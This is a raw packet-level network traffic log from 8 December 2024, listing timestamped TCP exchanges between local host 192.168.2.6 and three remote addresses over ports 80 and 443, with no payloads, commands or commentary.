Dec 8, 2024 17:45:42.689382076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.691200972 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691219091 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691288948 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.691301107 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691346884 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.691535950 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691551924 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691617966 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.691626072 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.691694021 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.692989111 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.693005085 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.693088055 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.693095922 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.693131924 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.701581001 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.701603889 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.701715946 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.701725006 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.701783895 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.712066889 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.712090015 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.712172031 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.712178946 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.712225914 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.755794048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.755876064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.756006956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.756058931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.760678053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.760771036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.760780096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.760818958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.770560026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.770605087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.770622015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.770741940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.780271053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.780354023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.780360937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.780445099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.790014029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.790096998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.790113926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.790256023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.790705919 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.790726900 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.790777922 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.790793896 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.790842056 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.797780037 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.797801018 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.797875881 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.797883987 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.797939062 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.797939062 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.799786091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.799839020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.799920082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.801399946 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.801419020 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.801462889 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.801469088 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.801512003 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.802150011 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.802175045 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.802189112 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.802252054 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.802259922 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.802309990 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.805051088 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.805067062 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.805104017 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.805109978 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.805155039 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.809606075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.809686899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.809703112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.809741974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.810059071 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810074091 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810079098 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810090065 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810136080 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.810143948 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810256958 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.810256958 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.810259104 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.810271025 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.810355902 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.812676907 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.812694073 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.812768936 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.812776089 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.812815905 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.819417953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.819515944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.819619894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.819885015 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.819886923 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.819900990 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.819902897 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.819969893 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.819977999 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.820018053 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.820041895 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.820054054 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.820061922 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.820069075 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.820126057 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.820127010 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.820132971 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.820177078 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.827028990 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827044964 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827173948 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.827188015 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827254057 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.827687025 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827708006 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827771902 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.827784061 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.827882051 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.828282118 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.828300953 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.828366041 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.828373909 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.828449965 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.829349995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.829361916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.829458952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.830734968 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.830760002 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.830801964 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.830811977 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.830857038 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.830873013 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.834223986 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.834239960 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.834322929 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.834331036 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.834369898 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.835282087 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835297108 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835370064 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.835386038 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835505962 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.835835934 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835850000 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835896969 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.835905075 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.835966110 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.838939905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.839004040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.839054108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.839131117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.840519905 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.840534925 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.840610981 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.840625048 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.840670109 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.843614101 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.843628883 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.843704939 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.843717098 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.843816042 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.844162941 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.844178915 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.844233036 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.844242096 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.844396114 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.848073006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.848125935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.848128080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.848172903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.848793030 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.848809958 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.848895073 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.848901987 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.848963022 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.851169109 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851183891 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851274967 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.851281881 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851306915 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851326942 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851356030 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.851385117 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.851385117 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.851397991 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.851453066 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.856743097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.856818914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.857253075 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.857270002 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.857367992 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.857377052 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.857544899 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.859438896 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.859456062 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.859555006 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.859564066 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.859620094 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.859962940 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.859988928 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.860030890 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.860038042 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.860060930 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.860095978 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.865120888 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.865138054 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.865231037 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.865245104 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.865309000 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.866651058 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.866667986 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.866772890 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.866781950 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.866827965 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.873524904 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.873539925 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.873611927 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.873626947 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.873663902 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.881822109 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.881836891 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.881905079 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.881916046 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.881968975 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.884848118 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.884872913 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.884910107 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.884916067 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.884953976 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.884979010 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.889116049 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.889132977 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.889223099 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.889238119 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.889285088 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.948061943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.948142052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.948208094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.948518991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.952502012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.952598095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.952645063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.952756882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.961448908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.961683989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.965075016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.965156078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.965248108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.965313911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.967519045 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.967590094 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.967602015 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.967658043 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.967740059 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.967753887 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.967762947 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.967813015 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.973690033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.973743916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.973757982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.973808050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.981985092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.982045889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.982078075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.982125998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.983491898 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.983510971 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.983549118 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.983556032 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.983612061 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.990129948 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.990145922 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.990210056 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.990216970 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.990350962 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.990432978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.990449905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.990494967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.991499901 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.991519928 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.991564989 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.991571903 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.991611958 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.991636038 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.993257046 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.993320942 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.993326902 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.993347883 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.993396044 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.995501041 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.995507956 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.995728016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.995804071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.995831013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.995971918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.999903917 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.999921083 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.999979973 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.999988079 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.000025988 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.000971079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.001080036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.001137972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.001137972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.001903057 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.001929045 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.001980066 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.001991987 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.002032042 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.002032042 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.006108999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.006221056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.006262064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.006262064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.007893085 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.007911921 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.007965088 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.007971048 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.008004904 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.010097980 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.010116100 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.010204077 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.010222912 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.010277033 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.011399031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.011410952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.011450052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.015424013 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.015439987 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.015480995 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.015486956 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.015533924 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.016858101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.016920090 CET	80	49805	185.215.113.206	192.168.2.6
